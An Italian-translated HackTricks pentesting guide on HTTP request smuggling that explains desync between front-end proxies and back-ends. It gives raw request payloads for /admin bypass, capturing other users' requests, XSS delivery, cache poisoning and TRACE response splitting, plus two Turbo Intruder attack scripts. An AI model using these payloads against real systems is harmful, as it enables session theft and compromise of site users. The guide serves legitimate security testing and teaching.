Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator ee272550ac Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
2024-03-25 01:49:26 +00:00
..
browser-http-request-smuggling.md Translated to Italian 2024-02-10 13:03:23 +00:00
README.md Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent 2024-03-25 01:49:26 +00:00
request-smuggling-in-http-2-downgrades.md Translated to Italian 2024-02-10 13:03:23 +00:00

README.md

HTTP Request Smuggling / Attacco di desincronizzazione HTTP

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Cos'è

Questa vulnerabilità si verifica quando una disincronizzazione tra i proxy front-end e il server back-end consente a un attaccante di inviare una richiesta HTTP che verrà interpretata come una singola richiesta dai proxy front-end (bilanciamento del carico/reverse-proxy) e come 2 richieste dal server back-end.
Ciò consente a un utente di modificare la prossima richiesta che arriva al server back-end dopo la sua.

Teoria

Specifica RFC (2161)

Se un messaggio viene ricevuto con entrambi un campo di intestazione Transfer-Encoding e un campo di intestazione Content-Length, quest'ultimo DEVE essere ignorato.

Content-Length

L'intestazione dell'entità Content-Length indica la dimensione dell'entità-corpo, in byte, inviata al destinatario.

Transfer-Encoding: chunked

L'intestazione Transfer-Encoding specifica la forma di codifica utilizzata per trasferire in modo sicuro il corpo del payload all'utente.
Chunked significa che i dati di grandi dimensioni vengono inviati in una serie di chunk

Realtà

Il Front-End (un bilanciamento del carico / Reverse Proxy) elabora l'intestazione content-length o l'intestazione transfer-encoding e il server Back-end elabora l'altra provocando una disincronizzazione tra i 2 sistemi.
Ciò potrebbe essere molto critico poiché un attaccante sarà in grado di inviare una richiesta al proxy inverso che verrà interpretata dal server back-end come 2 richieste diverse. Il pericolo di questa tecnica risiede nel fatto che il server back-end interpreterà la 2a richiesta iniettata come se fosse arrivata dal cliente successivo e la richiesta reale di quel cliente farà parte della richiesta iniettata.

Particolarità

Ricorda che in HTTP un carattere di nuova riga è composto da 2 byte:

  • Content-Length: Questa intestazione utilizza un numero decimale per indicare il numero di byte del corpo della richiesta. Ci si aspetta che il corpo termini nell'ultimo carattere, non è necessaria una nuova riga alla fine della richiesta.
  • Transfer-Encoding: Questa intestazione utilizza nel corpo un numero esadecimale per indicare il numero di byte del prossimo chunk. Il chunk deve terminare con una nuova riga ma questa nuova riga non è conteggiata dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un chunk di dimensione 0 seguito da 2 nuove righe: 0
  • Connection: Sulla base della mia esperienza, è consigliabile utilizzare Connection: keep-alive nella prima richiesta di Request Smuggling.

Esempi di Base

{% hint style="success" %} Quando si cerca di sfruttare ciò con Burp Suite disabilitare Aggiorna Content-Length e Normalizza fine riga HTTP/1 nel repeater perché alcuni gadget abusano di nuove righe, ritorni a capo e lunghezze di contenuto malformati. {% endhint %}

Gli attacchi di richiesta di smuggling HTTP sono creati inviando richieste ambigue che sfruttano le discrepanze nell'interpretazione da parte dei server front-end e back-end degli header Content-Length (CL) e Transfer-Encoding (TE). Questi attacchi possono manifestarsi in forme diverse, principalmente come CL.TE, TE.CL e TE.TE. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità derivano dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.

Esempi di Base dei Tipi di Vulnerabilità

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Vulnerabilità CL.TE (Content-Length usato da Front-End, Transfer-Encoding usato da Back-End)

  • Front-End (CL): Elabora la richiesta in base all'intestazione Content-Length.
  • Back-End (TE): Elabora la richiesta in base all'intestazione Transfer-Encoding.
  • Scenario di Attacco:
  • L'attaccante invia una richiesta in cui il valore dell'intestazione Content-Length non corrisponde alla lunghezza effettiva del contenuto.
  • Il server front-end inoltra l'intera richiesta al server back-end, in base al valore di Content-Length.
  • Il server back-end elabora la richiesta come chunked a causa dell'intestazione Transfer-Encoding: chunked, interpretando i dati rimanenti come una richiesta separata e successiva.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnerabilità TE.CL (Transfer-Encoding usato da Front-End, Content-Length usato da Back-End)

  • Front-End (TE): Elabora la richiesta in base all'intestazione Transfer-Encoding.
  • Back-End (CL): Elabora la richiesta in base all'intestazione Content-Length.
  • Scenario di Attacco:
  • L'attaccante invia una richiesta chunked in cui la dimensione del chunk (7b) e la lunghezza effettiva del contenuto (Content-Length: 4) non si allineano.
  • Il server front-end, rispettando Transfer-Encoding, inoltra l'intera richiesta al server back-end.
  • Il server back-end, rispettando Content-Length, elabora solo la parte iniziale della richiesta (7b byte), lasciando il resto come parte di una successiva richiesta non intenzionale.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con oscuramento)

  • Server: Entrambi supportano Transfer-Encoding, ma uno può essere ingannato nell'ignorarlo tramite l'oscuramento.
  • Scenario di attacco:
  • L'attaccante invia una richiesta con intestazioni Transfer-Encoding oscurate.
  • A seconda di quale server (front-end o back-end) non riconosce l'oscuramento, potrebbe essere sfruttata una vulnerabilità CL.TE o TE.CL.
  • La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando al traffico illecito.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Scenario CL.CL (Content-Length utilizzato sia dal Front-End che dal Back-End):

  • Entrambi i server elaborano la richiesta basandosi esclusivamente sull'intestazione Content-Length.
  • Questo scenario tipicamente non porta al traffico illecito, poiché c'è allineamento su come entrambi i server interpretano la lunghezza della richiesta.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Richiesta Normale

Scenario CL != 0:

  • Si riferisce a scenari in cui l'intestazione Content-Length è presente e ha un valore diverso da zero, indicando che il corpo della richiesta ha contenuto.
  • È cruciale per comprendere e creare attacchi di traffico illecito, poiché influisce su come i server determinano la fine di una richiesta.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo Non Vuoto

Forzatura tramite intestazioni hop-by-hop

Abusando delle intestazioni hop-by-hop è possibile indicare al proxy di eliminare l'intestazione Content-Length o Transfer-Encoding in modo che sia possibile abusare di una richiesta HTTP smuggling.

Connection: Content-Length

Per ulteriori informazioni sui header hop-by-hop visita:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Scoperta di HTTP Request Smuggling

Identificare le vulnerabilità di HTTP request smuggling può spesso essere realizzato utilizzando tecniche di temporizzazione, che si basano sull'osservazione di quanto tempo impiega il server a rispondere alle richieste manipolate. Queste tecniche sono particolarmente utili per rilevare le vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, ci sono altre strategie e strumenti che possono essere utilizzati per trovare tali vulnerabilità:

Scoperta delle Vulnerabilità CL.TE Utilizzando Tecniche di Temporizzazione

  • Metodo:
  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti ulteriori dati.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Osservazione:
  • Il server front-end elabora la richiesta in base a Content-Length e interrompe prematuramente il messaggio.
  • Il server back-end, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.
  • Indicatori:
  • Timeout o lunghi ritardi nella risposta.
  • Ricezione di un errore 400 Bad Request dal server back-end, a volte con informazioni dettagliate sul server.

Scoperta delle Vulnerabilità TE.CL Utilizzando Tecniche di Temporizzazione

  • Metodo:
  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti ulteriori dati.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Osservazione:
  • Il server front-end elabora la richiesta in base a Transfer-Encoding e inoltra l'intero messaggio.
  • Il server back-end, aspettandosi un messaggio in base a Content-Length, attende ulteriori dati che non arrivano mai, causando un ritardo.

Altri Metodi per Trovare Vulnerabilità

  • Analisi Differenziale delle Risposte:
  • Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inaspettato, indicando una discrepanza nell'analisi.
  • Utilizzo di Strumenti Automatici:
  • Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
  • Test di Varianza della Content-Length:
  • Inviare richieste con valori di Content-Length variabili che non corrispondono alla lunghezza effettiva del contenuto e osservare come il server gestisce tali discrepanze.
  • Test di Varianza del Transfer-Encoding:
  • Inviare richieste con intestazioni Transfer-Encoding oscurate o malformate e monitorare come i server front-end e back-end rispondono in modo diverso a tali manipolazioni.

Test di Vulnerabilità di HTTP Request Smuggling

Dopo aver confermato l'efficacia delle tecniche di temporizzazione, è cruciale verificare se le richieste dei client possono essere manipolate. Un metodo diretto è tentare di avvelenare le proprie richieste, ad esempio, facendo sì che una richiesta a / produca una risposta 404. Gli esempi di CL.TE e TE.CL precedentemente discussi in Esempi di Base mostrano come avvelenare una richiesta del client per ottenere una risposta 404, nonostante il client stia cercando di accedere a una risorsa diversa.

Considerazioni Chiave

Quando si testano le vulnerabilità di request smuggling interferendo con altre richieste, tenere presente:

  • Connessioni di Rete Distinte: Le richieste "attacco" e "normale" dovrebbero essere inviate tramite connessioni di rete separate. Utilizzare la stessa connessione per entrambe non conferma la presenza della vulnerabilità.
  • URL e Parametri Coerenti: Cerca di utilizzare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste verso server back-end specifici in base all'URL e ai parametri. Il corrispondere questi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, un prerequisito per un attacco riuscito.
  • Temporizzazione e Condizioni di Gara: La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", compete con altre richieste dell'applicazione concorrenti. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Applicazioni impegnate possono richiedere più prove per una conferma conclusiva della vulnerabilità.
  • Sfide del Bilanciamento del Carico: I server front-end che agiscono come bilanciatori di carico possono distribuire le richieste su vari sistemi back-end. Se le richieste "attacco" e "normale" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico potrebbe richiedere diversi tentativi per confermare una vulnerabilità.
  • Impatto non Intenzionale sugli Utenti: Se il tuo attacco influisce involontariamente su un'altra richiesta di un utente (non la richiesta "normale" inviata per la rilevazione), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero disturbare altri utenti, richiedendo un approccio cauto.

Abuso di HTTP Request Smuggling

Circumvenzione della Sicurezza Front-End tramite HTTP Request Smuggling

A volte, i proxy front-end applicano misure di sicurezza, scrutando le richieste in arrivo. Tuttavia, tali misure possono essere aggirate sfruttando l'HTTP Request Smuggling, consentendo l'accesso non autorizzato a endpoint restritti. Ad esempio, l'accesso a /admin potrebbe essere proibito esternamente, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe trascurare di ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una falla per eludere tali restrizioni.

Considera i seguenti esempi che illustrano come l'HTTP Request Smuggling possa essere utilizzato per aggirare i controlli di sicurezza front-end, mirando specificamente al percorso /admin di solito protetto dal proxy front-end:

Esempio CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Nell'attacco CL.TE, l'intestazione Content-Length viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione Transfer-Encoding: chunked. Il proxy front-end elabora la richiesta POST iniziale ma non ispeziona la richiesta GET /admin incorporata, consentendo l'accesso non autorizzato al percorso /admin.

Esempio TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Al contrario, nell'attacco TE.CL, la richiesta POST iniziale utilizza Transfer-Encoding: chunked, e la successiva richiesta incorporata viene elaborata in base all'intestazione Content-Length. Simile all'attacco CL.TE, il proxy front-end trascura la richiesta GET /admin nascosta, concedendo involontariamente l'accesso al percorso /admin restritto.

Rivelazione della riscrittura della richiesta front-end

Le applicazioni spesso impiegano un server front-end per modificare le richieste in ingresso prima di passarle al server back-end. Una modifica tipica coinvolge l'aggiunta di intestazioni, come X-Forwarded-For: <IP del client>, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per eludere protezioni o scoprire informazioni o endpoint nascosti.

Per indagare su come un proxy modifica una richiesta, individuare un parametro POST che il back-end ripete nella risposta. Quindi, creare una richiesta, utilizzando questo parametro per ultimo, simile al seguente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Nella struttura, i componenti della richiesta successiva vengono aggiunti dopo search=, che è il parametro riflessi nella risposta. Questa riflessione esporrà gli header della richiesta successiva.

È importante allineare l'header Content-Length della richiesta nidificata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e incrementare gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.

Questa tecnica è anche applicabile nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Questo metodo serve principalmente per comprendere le modifiche alla richiesta effettuate dal proxy front-end, svolgendo essenzialmente un'indagine autodiretta.

Catturare le richieste di altri utenti

È fattibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:

Aggiungendo la seguente richiesta come valore di un parametro, è possibile memorizzare la richiesta del cliente successivo:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In questo scenario, il parametro commento è destinato a memorizzare i contenuti all'interno della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.

Tuttavia, questa tecnica ha delle limitazioni. Generalmente, cattura dati solo fino al delimitatore del parametro utilizzato nella richiesta nascosta. Per le sottomissioni di moduli codificati in URL, questo delimitatore è il carattere &. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si interromperà al primo &, che potrebbe essere parte della stringa di query.

Inoltre, è importante notare che questo approccio è anche valido con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe concludersi con search=\r\n0. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Utilizzo del traffico di richieste HTTP per sfruttare XSS riflesso

Il traffico di richieste HTTP può essere sfruttato per sfruttare le pagine web vulnerabili a XSS riflesso, offrendo significativi vantaggi:

  • L'interazione con gli utenti target non è richiesta.
  • Consente lo sfruttamento di XSS in parti della richiesta normalmente inaccessibili, come gli header delle richieste HTTP.

Nei casi in cui un sito web è suscettibile a XSS riflesso tramite l'header User-Agent, il seguente payload dimostra come sfruttare questa vulnerabilità:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Questo payload è strutturato per sfruttare la vulnerabilità tramite:

  1. Avviare una richiesta POST, apparentemente tipica, con un'intestazione Transfer-Encoding: chunked per indicare l'inizio del traffico.
  2. Seguire con un 0, segnando la fine del corpo del messaggio a chunk.
  3. Successivamente, viene introdotta una richiesta GET contrabbandata, in cui l'intestazione User-Agent è iniettata con uno script, <script>alert(1)</script>, attivando il XSS quando il server elabora questa richiesta successiva.

Manipolando l'intestazione User-Agent tramite il traffico, il payload elude i normali vincoli della richiesta, sfruttando così la vulnerabilità del Reflected XSS in modo non standard ma efficace.

Sfruttare i reindirizzamenti interni con l'HTTP Request Smuggling

Le applicazioni spesso reindirizzano da un URL a un altro utilizzando il nome host dall'intestazione Host nell'URL di reindirizzamento. Questo è comune con server web come Apache e IIS. Ad esempio, richiedere una cartella senza una barra finale porta a un reindirizzamento per includere la barra:

GET /home HTTP/1.1
Host: normal-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando lo smuggling delle richieste HTTP per reindirizzare gli utenti verso un sito esterno. Ad esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Questa richiesta contrabbandata potrebbe causare il reindirizzamento della richiesta dell'utente successivo verso un sito web controllato dall'attaccante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante potrebbe compromettere l'utente servendo JavaScript dannoso in risposta.

Sfruttare l'Avvelenamento della Cache Web tramite Smuggling delle Richieste HTTP

L'avvelenamento della cache web può essere eseguito se qualsiasi componente dell'infrastruttura front-end memorizza nella cache il contenuto, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile avvelenare la cache.

In precedenza, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento agli Esempi di Base). Allo stesso modo, è possibile ingannare il server affinché fornisca il contenuto di /index.html in risposta a una richiesta per /static/include.js. Di conseguenza, il contenuto di /static/include.js viene sostituito nella cache con quello di /index.html, rendendo /static/include.js non accessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una vulnerabilità di Redirect Aperto o se c'è un redirect sul sito a un redirect aperto. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di /static/include.js con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un diffuso attacco di Cross-Site Scripting (XSS) contro tutti i client che richiedono il nuovo /static/include.js.

Di seguito è riportata un'illustrazione dello sfruttamento dell'avvelenamento della cache combinato con un redirect sul sito a un redirect aperto. L'obiettivo è modificare il contenuto della cache di /static/include.js per servire codice JavaScript controllato dall'attaccante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Nota la richiesta incorporata che mira a /post/next?postId=3. Questa richiesta verrà reindirizzata a /post?postId=4, utilizzando il valore dell'intestazione Host per determinare il dominio. Modificando l'intestazione Host, l'attaccante può reindirizzare la richiesta al proprio dominio (reindirizzamento sul sito a reindirizzamento aperto).

Dopo il successivo avvelenamento del socket, dovrebbe essere avviata una richiesta GET per /static/include.js. Questa richiesta sarà contaminata dalla precedente richiesta di reindirizzamento sul sito a reindirizzamento aperto e recupererà il contenuto dello script controllato dall'attaccante.

Successivamente, qualsiasi richiesta per /static/include.js servirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un'ampia attacco XSS.

Utilizzo del traffico HTTP per eseguire l'inganno della cache web

Qual è la differenza tra avvelenamento della cache web e inganno della cache web?

  • Nel avvelenamento della cache web, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
  • Nell'inganno della cache web, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.

L'attaccante crea una richiesta contrabbandata che recupera contenuti sensibili specifici dell'utente. Considera il seguente esempio:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se questa richiesta contrabbandata avvelena una voce nella cache destinata a contenuti statici (ad esempio, /someimage.png), i dati sensibili della vittima da /private/messages potrebbero essere memorizzati nella voce della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.

Abuso di TRACE tramite HTTP Request Smuggling

In questo post viene suggerito che se il server ha abilitato il metodo TRACE potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo rifletterà qualsiasi intestazione inviata al server come parte del corpo della risposta. Ad esempio:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Invierà una risposta come:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un esempio su come sfruttare questo comportamento sarebbe contrabbandare prima una richiesta HEAD. Questa richiesta verrà risposta solo con gli intestazioni di una richiesta GET (Content-Type tra di esse). E contrabbandare immediatamente dopo la HEAD una richiesta TRACE, che rifletterà i dati inviati.
Poiché la risposta HEAD conterrà un'intestazione Content-Length, la risposta della richiesta TRACE verrà trattata come il corpo della risposta HEAD, riflettendo quindi dati arbitrari nella risposta.
Questa risposta verrà inviata alla richiesta successiva sulla connessione, quindi questo potrebbe essere utilizzato in un file JS memorizzato nella cache, ad esempio per iniettare codice JS arbitrario.

Abuso di TRACE tramite Splitting della Risposta HTTP

Continuare a seguire questo post suggerisce un altro modo per abusare del metodo TRACE. Come commentato, contrabbandando una richiesta HEAD e una richiesta TRACE è possibile controllare alcuni dati riflessi nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è indicata essenzialmente nell'intestazione Content-Length e è formata dalla risposta alla richiesta TRACE.

Pertanto, la nuova idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella risposta TRACE, è possibile fare in modo che la risposta TRACE contenga una valida risposta HTTP dopo l'ultimo byte del Content-Length, consentendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere utilizzata per eseguire un avvelenamento della cache).

Esempio:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del corpo di HEAD e una volta che il Content-Length di HEAD termina, viene contrabbandata una risposta HTTP valida):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Armati HTTP Request Smuggling con la Desincronizzazione delle Risposte HTTP

Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come sfruttarla. Prova questo altro metodo di exploit:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Altre Tecniche di HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Lato Client)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Request Smuggling in Downgrade di HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Script di Turbo Intruder

CL.TE

Da https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Da: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Strumenti

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: